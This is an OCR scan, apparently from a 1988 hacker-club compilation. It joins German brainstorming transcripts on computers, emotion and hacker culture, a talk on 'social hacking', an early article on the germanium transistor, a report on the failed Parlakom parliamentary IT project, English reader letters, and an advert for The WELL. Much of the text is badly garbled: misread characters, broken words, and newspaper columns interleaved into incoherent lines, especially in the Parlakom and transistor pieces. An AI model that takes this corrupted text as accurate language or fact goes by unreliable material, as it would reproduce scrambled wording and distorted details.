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Chaos Talks 
Ausschnitte aus einem Brainstorming vom 9. 3.1988 

v: Vic (Genie) - w: Wau (Wau) - p: Poetronic (Dichter) 

Grippers made from a soft gel and wrapped in 
a rubberlike membrane will soon give robots 

the sensitivity of human hands 

w: Gibson beschreibt in "Neuromantics" kon-
sequent die Geschichte, daß man sich am Rüc-
kenmark einstöpselt. Wenn man sich da in eine 
Datenbank reinhackt, die einem nicht zusteht, 
dann ist man gehirntot. Man ist nicht über die 
Tasten verbunden, sondern über den Stöpsel. 

p: Öd, wenn man da nicht kompatibel ist. 

w: Aber so auf der Ebene der ganzen kleinen 
Computer - In der "Byte" war vor acht Jahren 
der Kleincomputer drauf, den du dir um die 
Hand schnallen kannst, als Uhr. Da war auf der 

Uhr zu lesen "Insert disc" und da gab's eine 
pfenniggroße Diskette zum Reinschieben. Das 
auf der Titelseite, als Grafik. Aber klare Vision. 
Der nächste Punkt: Der Computer zum Auf-
klappen. Den feuert man in die Ecke, dann 
entfaltet er sich, stellt die Beinchen hoch, da 
entfaltet sich ein Drucker, da entfaltet sich der 
Bildschirm.. 

p: Eine Düsentrieb-Maschine. Daniel Düsen-
trieb baut ein Campingzelt, das so klein ist. 
Wenn du an der Schnur ziehst, hast du ein 
dreistöckiges Haus mit Badewanne. 





gan sendet dauernd eine Zustandsmeldung 
aus in Form chemoelektrischer Signale, Bo-
tenstoffe, sowas. In Form von Stofflichkeiten. 
Diese Emanationen der einzelnen Körperteile 
oder Organe - wenn du es ganz rationalistisch 
ohne Geist und Seele siehst - ergeben das, 
was man so 'emotionale Grundlage' nennt. Das 
Gefühl. 

v: Mein Ansatz ist ein anderer. Ich bastel was 
zusammen, was fühlt. 

p: Dazu mußt du dir doch erstmal darüber klar 
sein, was Gefühle sind. 

v: Da ist eben die eine Hypothese, das sei eine 
komplexe Logik, die gar nicht soo komplex ist, 
aber komplex genug, um vom Vordergrund-
verstand erfaßt werden zu können. 

p: Nimm als Modell deine eigenen Emotionen. 

v: Meinetwegen. Aberwarum soll ich., ich mein, 
ich hab mein Modell doch schon gefunden. 

p: Ja, 'ne komplexe Logik. Aber von was..? 

v: Wie - von was? 

p: W ie -w ie von was? 

(Heiterkeit) 

v: Was soll die Frage? 'Ne komplexe Logik ist 
'ne komplexe Logik. 

p: Logik ist 'ne Denkfunktion. 'Ne Gehirnfunk-
tion. Keine emotionale Funktion. Ich weiß nicht, 
ob das Modell übertragbar ist.. 

v: Naiin..! Das hat mit Mustern überhaupt nichts 
zu tun. Du kommst da viel zu sehr von der 
deduktiven Seite her. 

p: Ich komm von der sprachlichen Seite. Die 
Sprache gibt auch ein Modell von Emotionen. 

v: Nein. Warum verbeißt du dich auf dieses 
Scheißmodell von Emotion. Stelldireinfach mal 
vor, ich will 'ne Emotion erklären. 

p: Das soll ja angeblich immer wieder mal 
versucht werden. 

v: Gut. 

p: Sie stehen auf meinem Fuß. Es tut mir weh. 
So die Art, nicht? 

v: Nein. Außerdem bringt das nichts, wenn du 

mir dauernd zwischenredest., 

p: Ich hör schon auf. 

v: ..sondern wenn ich mir überlege: Woraus 
besteht Emotion? Wenn ich mir Gedanken ma-
che darüber: Woraus könnte Emotion beste-
hen? Dann ist mir eine Hypothese eingefallen: 
Sie könnte aus Logik bestehen. Das nehmen 
wir einfach mal so als Hypothese hin. So. Diese 
Gesetze der Logik kann man ja normalerweise 
ganz gut erfassen, mit Hilfe von Computern, 
oder selber drüber nachdenken oder waswei-
ßich. Man müßte daher eigentlich von der Ein-
gabe zur Ausgabe kommen. D.h., man müßte 
diese Logik nachverfolgen können. Dadas aber 
äußerst schwierig ist, kann man diese Idee 
weiterspinnen und sagen: Die ist eben ein biß-
chen komplizierter. Die kann man nicht einfach 
so durchrechnen. Und - wenn ich mir jetzt die 
richtigen Menschen ansehe, dann kann man 
manchmal von bestimmten Eingangsparame-
tern auf die Ausgangsparameter schließen. 

p: Das heißt, wenn ich jemanden wie Kurt 
Waldheim sehe und sein Gesicht sehe, dann 
kann ich annehmen, daß er hinterhältig ist. 

v: Naiin! Wenn ich was reintue, dann kommt 
was raus. Das Verarbeitungsprogramm ist 
Emotion, okay. Also: Eingabe - Emotion -
Ausgabe, das ist mal so das Modell, das grobe. 

w: Wenn ich 'mal so zurückgehe, dann ist also 
das jeweils gemeinsame historische Moment 
das Übertragen der jeweils fortgeschrittensten 
Technologie auf det Janze. Zu der Zeit, wo sie 
die Uhren hatten, da war die Erfindung des 
Perpetuum Mobile angesagt. Und da wurden 
dann Menschen, Maschinen und Puppen, ge-
baut, mit hervorragend natürlichen Kurvenbe-
wegungen, mechanisch relisiert. Die sehen 
echt aus. Wenn ich mir heut einen Roboter 
anschau, dann ist der echt Scheiße. Da war ein 
Menschenbild dahinter, das auch stark uhr-
werkgesteuert war. 

p: Hast du 'mal Mumford gelesen, "Der Mythos 
der Maschine"? Es ist mir schwer vorstellbar, 
wie ein einzelner Mensch in einer Lebenszeit so 
viel an Gesamtwissen zusammentragen kann, 
aus sämtlichen Natur- und Geisteswissen-
schaften und der Literatur, und das noch ver-
arbeiten kann. Das Buch geht vom aufrechten 
Gang bis zur Mondrakete, wobei er nebenbei 
noch wissenschaftliche Ansichten revidiert, 
z.B. daß in den Altertumswissenschaften bis-
her viel zu gro ßes Augenmerk auf die Artefakte 
gelegt worden ist, die materiellen Funde. Was 
eigentlich passiert ist, ist in keiner Versteine-
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Es g ib t noch eine andere Mög l i c hke i t , das Gerä t ge-

räusch los auf e inen Sende r a b z u s t immen . Jeder , der 

versch iedene Sender e m p f a n g e n wi l l u n d desha lb ge-

z w u n g e n ist, das G e r ä t des öf teren neu einzustel len, 
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Fachhande l zu bez iehen . Dip l .-Ing. H . K ü m m e l 
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Und das Ziel ist: Social Hacking. 

Das heißt, zu gucken, in was für einer Welt leben wir. Wie können wir die 
verändern und wie können wir da was erreichen, ohne daß wir uns den Kopf an 
der Wand blutig stoßen. 

Und da gibt es doch - und das ist eine Sache, die ich an der Situation 
schätze, eine Menge von Möglichkeiten, Information und Wissen zu 
verbreiten, über Strukturen, die hier herrschen. 

Etwa die Kommunikationspreise. 

Da findet man raus: wir verschicken eine Presseerklärung zum Thema Steffen 
als Rundsendung. 
Wupp, sind da 600.- Telexgebühren fällig. 
Wir denken über das ganze betriebswirtschaftlich nach. Wir kalkulieren 
das machen wir schon länger, was diese Kommunikation eingentlich kostet 
und stellen dann fest, daß die Kommunikation vielleicht um den Faktor 100 
bis 1000 überteuert ist. 

Das heißt: 

Telefonate, Telex, Telefax und so weiter müsste man jeden Preis mindestens 
mal durch 100 teilen, um da mal zu einem reellen Preis zu kommen. 

DAS hat politisches System. 

Es geht darum, die Kommunikation von Menschen einzuschränken, um sie 
politisch beherrschbar zu machen. 

Und wenn man das erstmal irgendwie so geschnallt hat, ist es natürlich 
klar, an welcher Stelle man da nach Lücken sucht und versucht, bestimmte 
Entwicklungen voranzutreiben. Ein Aspekt davon ist auch sowas wie die 
Public Domain Software, ein anderer ist, eben zu gucken, wo man 
Möglichkeiten hat, seine eigenen Ideen rüberzutragen. 

Und wenn ich mich dann mal so in der Politik umguck und dann in Richtung 
CDU guck, das Verhältnis von CDU zu Computer, dann muß ich sagen, vor 
vielleicht zehn Jahren hat die ihren ersten Computerskandal genial 
bewältigt. Damals ging es um irgendwelche Spendengeschichten, und sie hat 
es in den Medien durchgesetzt, daß es allgemein hieß: Schuld war der 
Unterschrif tencomputer. 

Das ist gutes Informationsmanagement, sowas hinzukriegen im öffentlichen 
Ergebnis. 

Auf der anderen Seite hat die CDU ja nun auch — ich frage mich eigentlich 
immer, wo ist in dem Laden der General, bei dem Generalsekretär? Der 
General bei der CDU ist so nach meiner Einschätzung der Computer. Daß da 
eine Datenmaschinerie steht, ein Wang-System, was gut vernetzt ist, bis zur 
Kreisebene runter, und was eben bestimmte, meinungsmachende 
Pressemeldungen, für Wochen, Monate, Jahre — ja gut, also die Entwicklung 
ist so chaotisch, daß man meist eh nicht viel nach vorne planen kann, aber 
zumindest eben nach vorne — drin hat. Da hat sich auch irgendwie mal ein 
Grüner reingehackt. Die Kohlredendatei hatte, so hieß, das Kennwort 
Hannelore (Croßes Gelächter)-
Also, zurück zu dem Take. Das ist eine bestimmte Macht, die dort ausgeübt 
wird, die jetzt bewußt praktiziert wird. Wenn man sich mit diesen ganzen 
Maschinerien näher beschäftigt, dann stellt man fest, daß man selber auch 
in ähnlicher Art und Weise damit arbeiten kann. 

•«1 













Eingang \ Ausgang 

-Halffaki aà i/m+Mk&v 

Kontakt 
federn 

Germanium-
Block 

Aufbou des Transistors, Durch-

messer co . 4,7 mm, Länge 15,8 mm 

Nachdem die Entwicklung dieses neuen 
Sclmltelcmentes bereits vor einiger Zeit 
bekanntwurde, Kind jetzt in den aus-
ländischen Fachzeitschriften genauere 
Unterlagen über die Gcrmanium-IIalb-
lelter-Triode enthalten. Wir möchten un-
ser,-n I^-sern die neueste Erfindung nicht 
vorenthalten und bringen im folgenden 
eine Erläuterung der Einrichtung, der 
u. IL eine gro/)e, wenn nicht sogar um-
wiil/.ende Jiedeutung zukommt. 

Bei der Erforschung- des Verhaltens von 
Halbleitern, die In dar Funktechnik 
wegen Ihrer bekannten Gleichrichtcr-
wlrkung (DeLektor, Sperrschlchtgleich-

richter) seit langem eine gewisse Rolle 
spielen, stieß eine Arbeitsgruppe der 
Bell-Laboratorien, bestehend aius D r . 
Jo lm Barden, D r . Walter Bratta in und 
Dr. William Shockley, auf einen bisher 
unbekannten E f f e k t : 
Wird an ein GeiTnanhunkrisüül oder ge-
wisse andere Halbleiter mittels einer 
feinen Kontaktspitze eine Spannung an-
gelegt, so verändert der Kristall in eng-
ster Nachbarschaft der Kontaktstelle 
seine Leitfähigkeit je nach der Größe 
des Spannungswertes. Wenn, der so auf 
Leitvermögen steuerbare Kristall in 
einen zweiten Stromkreis gelogt wird, 
de.r den ersten Kreis erweitert, Laasen 
sich mit kleinen Schwankungen der 
Stouerspannung im ersten Kreils große 
Änderungsbeträge des Stromflusses i m 
zweiten Kreis erzielen (s. Abb. 1). Der 
Halbleiter zeigt also einen ä h n l i c h e n 
V e r s t ä r k e r m c c h a n i s m t i s w i e 
e i n e g l t t e r g e s t e u e r t e E l e k -
t r o n e n r ö h r e in Verstärkerschal-
lung. 
Die Erklärung für diese Erscheinung 
liefert die Energiebandtheorie der E lek-
tronenleifimg jn festen Körpea-n, aus der 
auch die Gleichrichter-Wirkung von 
Halbleitern zu verstehen ist. 
Em fester Itorj'cr ist Icitfilhig, wenn die 
äußeren Kickt ronensrhalen seiner Atome nicht 
voll. d. h. mit weniger als acht JCleklronen 
besetzt sind, bzw. wenn .sich die Aiiß.'nelck-
tronen seiner Moleküle nicht zu vollen Schalen 
ergänzen, Die äußeren Elektronen sind dann, 
wio CS bei den meisten Metallen der Fall ist. 
frei beweglich in (lern Sinne, daß einen da-
von zum Nnchbaratom hinüberwechseln kann, 
von diesem eines zum nächsten usw., was 
einem Transport elektrischer Ladungen durch 

den ganzen Leiter gleichkommt. Da jede 
Elektronenschale vom Atomkern aus gesehen 
ein bestimmtes Energieniveau darstellt, darf 
man sich die äußeren und ftlr die Leitfähigkeit 
maßgebenden Schalen in einem Metallkristall 
zu durchlaufenden Energiebändern zusammen-
gesetzt denken; in diesen geht die Elektronen-
verschiebung (Stromiluß) vor sich. Kein 
Elektron darf sein Band ohne weiteres ver-
lassen. Nur wenn ihm von außen Energie 
angeführt wird, kann es auf ein höher ge-
legenes „erlaubtes" Energieniveau übergehen, 
das gemilß der Energiequantelung vom ersten 
Band durch einen für Klektronen „verbotenen" 
Hercicli getrennt ist. Der Physiker nennt 
einen s'olchen Fall einen angeregten Zustand 
des Atoms. 
Halbleiter sind als Stoffe anzusehen, bei 
denen im gewöhnlichen Zustand nur sehr 
wenige frei bewegliche Elektronen vorhanden 
sind, etwa nur eines auf 1 Million Atome. 
Während aber bei guten Leitern und auch bei 
Nichtleitern die . Zahl der beweglichen Elek-
tronen kaum zu beeinflussen ist, kann bei 
Halbleitern leicht erreicht werden, daß sie 
sich durch Anregung, d. h. überfuhren ein-
zelner Elektronen auf ein höheres Energie-
band, um das lOOOfache vermehren. Die Folge 
davon ist bessere Leitfähigkeit, weil im an-
geregten Zustand das normale untere Energie-
band und das erlaubte höhere nur teilweise 
mit Elektronen besetzt sind (s, Abb. 2). 
tDie wahren Verhältnisse in Halbleitern, die 
gewöhnlich durch Fromdatome verunreinigt 
sind, stellen sich etwa vei-wickelter dar. Das 
hier entworfene Bild mag jedoch genügen, 
um eine Anschauung" vom Wesen des Halb-
lciter-LeUvermBgens zu jreben.) 

Für den Gcrmaniumkritetall in der A n -
ordnung gemiiß Abb. 1 darf man sich 
vorstellen, daß durch die angelegte 
Steuerspannung zwischen der zugehöri-
gen Kontaktspitze und der Basis eine 
Zone entsteht, in der die Leit fähigkeit 
mit der steuernden Spannung oder dem 

Steuerstrom infolge v e r ä n d e r l i c h e r - j ^ . 
regung schwankt. I m A u s g a j i g - s . i t r e j S i 
der durch diese Zone veränderlich.esr- L e i t -
fähigkeit von Kontakt B zu K o n t a k t A 
führt, laßt sich dann m i t e i n e n - Im 
Eingangskreis liegenden überla.g-.erfcen 
Steuerwechselspannung untier d e r - W i r -
kung einer eigenen etekbrom.otoirisieh.eB 
K r a f t ein Strom überhöhter Amj> l t f c m l e 
gewinnen. 
D a s von Bell .geschaffene V c r s t a . r k . e r -
elemcnt wird seiner negativen. W i ^ . 
standscharakteristik wegen „ T r a n . 
s i s t o r " genannt. E s zeigt e ine S c h a l -
tung nach Abb. 3 und liefert e i n e - V e r -
stärkung von etwa 1 : 100, e n t s p r e c h e n d 
20 Dezibel. D a s verwendete S t ü c l t c h e B 
Germanium •— es sind .auejh. a n d e r e H a l b -
leiter brauchbar •— ist in einer i c L e m e i . 
MetaUhütse gefaßt, die einen Ü u a - c h -
messer von einigen Mil l imetern haut u n d 
nicht ganz 25 m m lang ist. D i e tyeäclieii 
Kontaktepitzen (Wolfram) s t e h e » jw. 

Konwktspitien 
-ri Irr m 

Sttucrsponnung 
(Eingang) 
G) 

H'P I 
Strom 

¡Ausgang! 

f frai.'bfpr. obtr 
{normalerweise 
[unbesetitfr Perrich. 
Verbotener Berdel) 
I normalerweise 
< voll besei:ter 
||,Sfre/fA 

Keine ¡titläbigkeit. Leillätigkeit 
ic unteres [nerqit- da beide ISt-
band voll u. oberes dir teilweise 
unbesetzt. besetit. 

UM 
Abstand von nur 0,05 m m n e b e n e i n -
ander. 
Bisher wurden Transistor-Ve.rsti i .rker-
elemente entwickelt, die b is z.U. e i n e r 
Frequenz von 10 M H z goaignet s i n , ^ . Ihr 
elektrisches Verhalten weicht v o n . <ieitl 
einer Elektronenröhre etwas at>. j>j e 
Eingangsimpedanz ist niedrig- ( e t w a 
1000 Q) und die A u s g a n g s i m p e d a n z h o c l i 
(einige 10 000 ft). Die L e i s t u n g s a u f -

nahme bewegt sich u m 50 m W . ( B e i d i e s e n 
Angaben handelt es sich u m yJ(.. 
stimmte Ausführung eines GerraELnium-
Verstiirkers.) Der Transistor so l l I m . B e 
reich zwischen — 50°C-und + 50 ° c - ¡ ^ ^ 
temperaturabhängiges Verhal ten 
Elektrische Stabilität, R o b u s t h e i t 
Lebensdauer sollen ähnlich sein. U t l~' 

1 guten Kristalldetektoren v v i e bei 

© 

Uektranen Hektronen 
lösender—1 r-treibender 
Konhkt 11 Kwtakl 

A b b . 1. Darstel lung der Verstärkerwirkung eines 

German iumkr i i f a l les 

A b b . 2. Fnergiebcnrischema für e inen Halb le i ter , 

l i nks : unangereg ler Zuslanci ohne teiffährgVei i . 

Rechts: angeregter Zustand mit te i t fäh igkei t 

in fo lge Elekfrontjnverschiebung im oberen und 

in fo lge LücVonverschiebung im unteren Band 

A b b . 3 . G r u n d s ä t z l i c h e Schal tung oinos Halblelfer-

Verslärkers 

A b b . 4. Grundsä tz l i che Scha l tung eines Halbleifer-

Oszillators 

E i n stromsteuerndes HatbleitereJ. 

kann auch zum A u f b a u trines Oszin 1 * 1 6 1 1 * 
dienen (Abb. 4). I n .diesem P a y ° r S 

Ein- und Ausgangskreis als g e k o p . r f ^ 
Schwingkreise ausgebildet. -y-Peite 

Die erste Vorführung von T r a n s ^ 
Elementen und damit a u s g e s t a t t e t e ^ ¿ T 
ritte fand im Sommer 1948 statt . * 
Auf Grund der wenigen bisher v e r ö f f e n j . 

lichten AJigaben ist anzunehmen, 
der Transistor in einem b e ß t i r r u ^ j . ^ 
Bereich einfacher Zweckbeötini,r r L T 1_ p. 
tatsächlich geeignet ist, die E i ^ ^ 
I r w e n r ä l i r e z u e r s e t Z e ] 1 
keineswegs aber überall! Viel w i r d 
von abhängen, ob die S t o ß e m p f i m m ^ 
keit gering genug ist, um die « l e k - t r i s ^ j ^ 
Stabilität hinreichend konstant zu h a i t e n 
In dieser Hinsicht wird von den. ^ ^ 
Laboratorien selbst zugestanden, d a ß ^ 
Herstellungsprobleme noch nicht v 0 U g e . 
löst sind. 
Zum er sten Male, seitdem der e i n i a e h e 
Detektorempfänger wogen seiner ^ 
zulänglichen Leistung in den H b j t e j v 

grund gedrängt wurde, ist jetzt 
röhrenla^e Hochleißtungsempfangc* ^ 
den Bereich des Möglichen geruckt ! 

w- R. S. 
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Parlaments-Kommunikation Schach-Matt gesetzt 
Alle Fehler bei Parlakom voll ausgeschöpft 

V o n u n s e r e n R e d a k t e u r e n R a l f K e l l e r m a n n u n d R . U w e P r o l l 

Die Bundestagsabgeordneten werden nun doch bei ihrem Umstieg aus der Postkutsche in den in format ions tech-1 u m s t n t l c n Uns t immigke i ten ha t te 

nischen D-Zug einen Zwischenaufenthalt einlegen müssen. Das Scheitern des Pilotprojektes Parlakom ist " zwischen den F r a k t i o n e n vor 

mittlerweile amtlich bestätigt: in einem internen Kundschreiben hat Bundestagsdirektor Dr. Joseph Bücker die a e m b e i d e r Frage gegeben , o b es 

Versuchsphase als gescheitert bezeichnet. Dabei war die Verwaltung des Deutschen Bundestages mit grollen e m e i n z , E e s In format ions-

Ambit ionen gestartet. Parlakom sollte zugleich ein Vorbild herstellerunabhängiger Beschaffung und offener K ° m m u n ' ka t i onssys tem g e b e n 

Systemarchitektur nach dem OSI-Standard werden. Die Leitlinien des Projektes legte eine Studie der t e ' o b J c c , c F r « k t i 0 n c i n 

Gesellschaft für Mathematik und Datenverarbeitung (G M D ) fest, die bereits im Vorfeld ein Anforderungsprofil .Z e i " n c h t e t ; D i e F ^ . 

hinsichtlich Datenschutz und -Sicherheit , Schulung, Leistungsfähigkeit und Qualitätsmerkmalen des Equip- j ! " " S * e " t r a v " k a t t c n s l c h ^ ä r n l i c h 
ments erstellt. Alles wollte man besser als andernorts in der öffentlichen Verwaltung machen, doch das Ergebnis arbeite^)" a u f ' s " ' ^ ^ U n d 

ist am Ende ein Desaster, wie es noch keine Verwaltung alleine fertiggebracht hat. Der de-iacto Abbruch der während di" C D l H r s R c c ^ n c r n , 

informationstechnischen (IT) Aufrüstung des Parlaments führte zu allem Überfluß zu neuen Kuriositäten. Der eingeschworen i a u f ^Vang 

Haushaltsausschuß beschäftigte sich mit der IT-Schlappe, sperrte dann jedoch allen Bundesressorts vorerst 20% 1 ' 

der IT-Haushaltsmittel. Gemeint können die Volksvertreter nur ihre eigene Administration und auch sich selbst E ; n e Studie der 'I 

haben, Vs t ra f t ' haben sie nun aber andere, die Bonner Ministerien und den nachgeordneten Bereich. Beratungsgesellschaff0" U n d 

nicht. Ein schlechtes Vorbild für die ( I B E K ) s o w i e einer a l tcrnat" 1 1* 0 ' 

gesamte öffentliche Verwaltung, Hamt>Urger Gruppe, der auc-H .. . , ,.. . *-n iviit-
Fiir sich selbst haben die Haushäl-

tcr eine Interimslösung von Sie-

mens ins Auge gefaßt (siehe hierzu 

eigenständiger Artikel). Für die 

Abgeordneten-Kollegen und deren 

Kommunikat ion mit der Verwal-

tung ¿ein es erstmal auf herge-

brachte Technik zurück: Telefax 

und Teletex. Die Bundespost - mo-

dernistischen Vokabeln bedeuten 

einfach Fernkopierer lind elektro-

isch aufgcniotzer Fernschreiber 

• iche hierzu eigenständiger Artt-

:cl). Helfen soll eines Tages das x-

- DO Protokoll, eine Software-gc 

, .ützte Kompatibililiitsrcgching/ur 

Tienile verschiedener Hersteller, 

mit deren Betrieb frühestens Mitte 

1989 zu rechnen ist. 

Für die meisten zu Beginn gestarte-

ten 17 Interessenten kam jedoch 

bereits nach einer ersten Sichtung 

der Angebote aufgrund mangeln-

der Qualitäts- und Leistungsmerk-

malc das vorzeitige Aus. Lediglich 

Nixdorf, Wang und Siemens konn-

ten sowohl stand-alone PC's als 

auch ein Mchrplatzsystcm im Bun-

destag plazieren. Die Parlamenta-

rier hatten daher nur noch die Wahl 

HAI 

W e l t - C e n t r u m B ü r o 

16. - 23 
V ' / 

zwischen dem Wang APC , dem 

Nixdorf Micro 3 (im Wahlkreisbü-

ro) bzw. dem Micro 4 (im Bonner 

Büro) oder einem Siemens PC-D. 

Jeder zweite Abgeordnete wollte 

jedoch lieber an einem Siemens 

Bürosystem 5800, einer Nixdorf 

denn alle Parteien weisen unermüd- S , i e c J e r des einschlägig b e l c a n 

lieh öffentlich auf die Bedeutung | ' C K a o s Computer C lub ' a n o ^ " 

der Mitbestimmung bei der Einfüh-j t e n ' k°mrnt da zu g a n z a ^ h o r " 

rung neuer Technologien hin. Nurl E 5 . b n i s s e n ' S i e empfahlen e -

die Grünen hatten bereits im Vor-|ne K o m m u n i k a t ' ° n s e i n h e i t , . X n Z e I " 
Fraktionen mit eigenem * 5 ' 

eigener Netzkontrolle z 

die 

und 
- z u s t a t t e n . Umstritten war das P r o j e k t von 

Beginn a n bei den G r ü n e n . S e l b s t 

von den kritischen B e f ü r w o r t e r n 

nun in Form einer stand-alone Lö-
sung akzeptiert, verzichtete d i e Par-
tei Ende 1986 ganz auf die Teilnah-
me. 

Vor allem aber das K o n z e n , . 

Privatwirtschaft liehen d e r 

Abgeordnete auf der EDV-Schulbank im Parlakom-Schuhmg^^um  t r e u^ n8  d u^ c h  d^r
A D V-Orgn' 

ik-s Bundestages. im Bild vorne rechts Dr. Peter Mitiseherling (SPD  P  

Berlin) und hinten links Karsten Vogt (Frankfurt).  r e n  

l uerb e-

keine Früchte. Offensichtlich ^ 

viele der Volksvertreter 

8860 Konfiguration oder einer 

Wang US 65 Anlage arbeiten. Ganz 

glücklich wurden die parlamentari-

schen Tester jcdoch nicht mit ihren 

neuen Arbeitshilfen. Das Nixdorf 

mit dem notwendigen Ernst b e ? ^ 1 

« « « Sache. Die Kosten werden d c r 

beteiligten U n t e r n e h m e n ^ ^ 

. O 
H 
s ¿ 8 -
i l 

II 

die S P D zog später mit 

'Dienstvcrcinbarung' nach, aller-
° uciime: 

dings erst nachdem die Mitarbeiter auch die Bundestagsverwaltun 

im Dezember 1986 eine Art Streik t e r der Rubrik Erkenntnis v « ? } ! " " 

organisiert hatten. chen müssen. " 

Das Zauberwort im Hohen H-> 
Auch der unabhängige Da t en- h e i ß t n u n x ^ 0 0 P r o l o k M 1 

schutzbeauftragte-, den die Kom- Software-Lösung, von der 

mission des Ältestenrates empfoh 

len hatte, blieb lediglich 
Wunder erhofft, ist • j . s i c h 

m der L a g e d ¡ 
C l n Kommunikat ion unterschied!;-«. 

Wunsch. Mankonntcs ich nicht auf Systeme — - h e r 

die notwendigen Kontroll- und Problem 

Entscheidungsbefugnisse sowie 

über die Personalausstattung cini 

zu gewährleisten, 

die internationalen 

mierungsgremien formulieren n*0* 

bis mindestens Herbst 1988 C 

D a s 
No-

.. Parlakom ist gescheitert", so Bun-

destags- Direktor Dr. Joseph Bü-

cher im Rundschreiben. Hier mit 

Präsident Philipp Jenninger. Foto: 

gen. Stattdessen wurde cin Daten- neuen Standard. Dann erst w e r j " 1 

schutzgremium eingesetzt, dem ne- die Hardware-Produzenten G e r i f " 

ben je einem Vertreter der beteilig- umstellen und liefern können . p C 

ten Fraktionen ein Mitglied der wird also noch dauern bis ' a ] , S 

Bundesverwaltung angehört. Auch MdB's auf die mittlerweile s c h Q
C 

die gesamte Konzeption des offe- beliebten Schachspiele und p j 

nen Netzes war von Anfang an zeugsimulationen Zugriff e rha l t e ^ 

















What 's remarkable to me is that she 

can still come up with the right 

answers at all . . . but then, she is 

only in third grade. Thirteen years of 

computer-aided only-one-correct-

answer testing will probably effectively 

blur the line for her between what's 

right and what's expected. 

The trend toward computers in the 

classroom — and, for that matter, 

computers in the real world — is a 

wonderful thing when humans pose 

the questions and computers find che 

answers, for the combination of human 

creativity and a computer's tireless, 

plodding research is potent. 

But do it the other way around and 

we'll only rid the world of smart-

alecs. In that case, good luck to us all. 

Brad Lemley 

Washington, D.C. 

Hard disk prayers 
I was just reading a travel article on 

Tibet where this American business-

man calculates that a pilgrim giving 

each of the 108 prayer wheels in 

Lhasa's Jokhang Monastery a turn as 

he or she circles around the exterior 

walls recites " O m Mani Padme O m " 

16 billion times in one circuit as long 

as the turn possesses sufficient force 

to leave the wheel revolving ten times. 

While I don't as yet have a TV, I am 

trying to get on this computer band-

wagon with you guys, like those yurts, 

funny food, clothes, books etc. when 

I was younger. So anyway, I realized 

that a hard or floppy disk would make 

an excellent pr-ayerwheel, enabling a 

user to enter an untold amount of 

prayer information and spin it very 

quickly, with ability to alter, monitor, 

and tabulate prayers as the situation 

or times dictated. I think adding a little 

prayer somewhere in your routine 

programs might help too, as it would 

spin around with the rest of the data 

and surely have a good effect. 

John Benecki 

Inchelium, Washington 

T H E WELL » 
• A c o m p u t e r c o n f e r e n c i n g sys t em 

• A p l a ce t o get i n f o r m a t i o n 

g a y _ * R e v o l u t i o n a r y l o w p r i c e 

P f i ? ^ * - • ' • - " ' - ^ • ^ / / » J i i * A n o n l i n e m e e t i n g p l a c e 

Sti-r ? f.j. -.^-i'- «3-^1.-

Whole Earth Lectronic Link 

27 Gate Five Road 

Sausalito, CA 94965 

Modem: 415/332-6106 

Voice: 415/332-4335 

Public conferences 
. , . access to a un ique commun i t y of people 

. . . more than 80 conferences on all aspects o f computers 

. . , jo in in discussions on a wide range of topics 

. . , jjet top quality technical advice from experts 

, , , learn the U N I X system onl ine 

. . . talk with software developers 

. . . discuss politics, religion, env ironment , parenting, sports, music, educat ion 

Private conferences 
Any business, non-profit organization or private group can have a private confcrence; 

. . . instant commun i ca t i on 

. . . formulate policy on l i ne for immediate action 

. . . versatile and powerful, ready when you arc 

Electronic mail and online conversation 
. . . the end of "Telephone Tag" 

. . . ?;end private messages to one person or several 

. . . all messages can be stored for future reference 

Login with any computer/modem combination 
. . . transfer text files between incompat ib le computers 

. . . inexpensive laptops can have the full power o f a U N I X mach i ne 

It's simple to join: 
Have your computer /modem dial 

415/332-6106 

W h e n the W E L L responds with its login: 

prompt , type 

newuser Un|n8, „ 

a nd follow the instructions. 

New # Is: 
800/336-0437 

new login: 
<cr> <cr> 

Now the WELL TTc
aU,d1 

is on U N I N E T 
The W E L L can be reached from anywhere in 

the U.S. or a round the wo r l j via Un ine t , 

reducing the access charges for long distance 

dramatically, especially dur ing off-peak hours. 

To reach us via Un i ne t , call 800/821-5340 

for the n umbe r closest to you. Then dial that 

number , type (crj.(cr) (return/period/return) 

and when prompted for "service," type 

well|cr] 

and you'll get to the WELL's login: prompt. 

Welcome! 
You are now logged in lo the WEIL. 

PicoSpan T2.5; designed by Marcus Watls 
copyright 1984 NETI; all rights reserved 

You have mail. 

OK (? orsum for help): mail 
Mailversion2.18 5/19/83. Type ? for help, 
"/usr/spool/mail/br": 3 messages 3 new 
>N 1 mmc WedJuly31 13:13 13/364 "Re-teacher" 

N 2 art WedJuly3l 13:56 12/258-Re* teacher-
N 3garf Wed July31 16:07 13/495 "Re: dinner" 

The WELL lists all your waiting messages 
each lime you check In. 

C O r o 
v > w 

What can The WELL 
do for you? 
• C u t mail costs 

• Save travel t ime and expense 

• Reduce paperwork 

« Improve commun ica t ions wi th associates 

• Foster cooperative work from different 

locations 

• Keep records of all your transactions 

• Technical support a nd user groups for m c , s t 

: variety 

popular computers 

Put you in touch wi th a wide i 

o f people 

C u t across t ime zones 

Reduce t ime constraints — people c a n 

respond at their convenience 

Help avoid "Telephone Tag" 

Who needs The WELL? 
Writers 

Hackers 

Businesses 

Movie-goers 

Salespeople 

Professionals 

Photographers 

Non-profit organitations 















Minus Delta talks 
Auszüge aus einem Brainstorming 15.3.1988 

m: Mike (Minus Delta t) 

e: Eva (Frau an Bord) 

p: Poetronic (Dichter) 

m: Was ich nicht sehen will in dieser Hackerei: 
Irgendwelche Romantik-Geschichten, die 
kompetente Leute - wozu ich auch Wau zähle, 
und die ich einfach phantastisch finde von 
Technik und Motorik - da abziehen. 

: Der Chaos Computer Club - so wie ich die 
eutchen kenne - , das ist die inhomogenste 

Versammlung von Menschen, die mir jemals 
begegnet ist. Wobei der Computer dabei zu 
sowas wie einem sozialen Katalysator wird. Ein 
Katalysator ist ja eigentlich ein Stoff, der sich 
selber nicht verändert, aber verändernd wirkt. 
Du stellst einen Computer hin, und davor findet 
sich einträchtig eine Schar von Menschen zu-
sammen, die, würden sie sich in einer Kneipe 
treffen, sich nie im Leben anquatschen würden 
oder gemeinsam an einen Tisch setzen. Aus 
allen ideologischen Bereichen. Da findest du 
den Althippie mit Sandale und Karotte im linken 
Mundwinkel genauso wie einen Typen, wo du 
sagen möchtest: Junge Union. 'Nen Typen, der 
in elf Vereinen ist. 'Nen Typen wie Wau, wo du 
glaubst, der kommt grade aus dem Dschungel, 
sowas Waldschrathaftes. Vic, so ein Schmaler 
Schneller, Ingeniöser, mit seinem Porsche. 
Und dann noch so ein paar wilde Düsentriebs. 
Und die sitzen alle traulich vordieser Maschine. 
Der Haufen ist auch deshalb interessant, weil: 
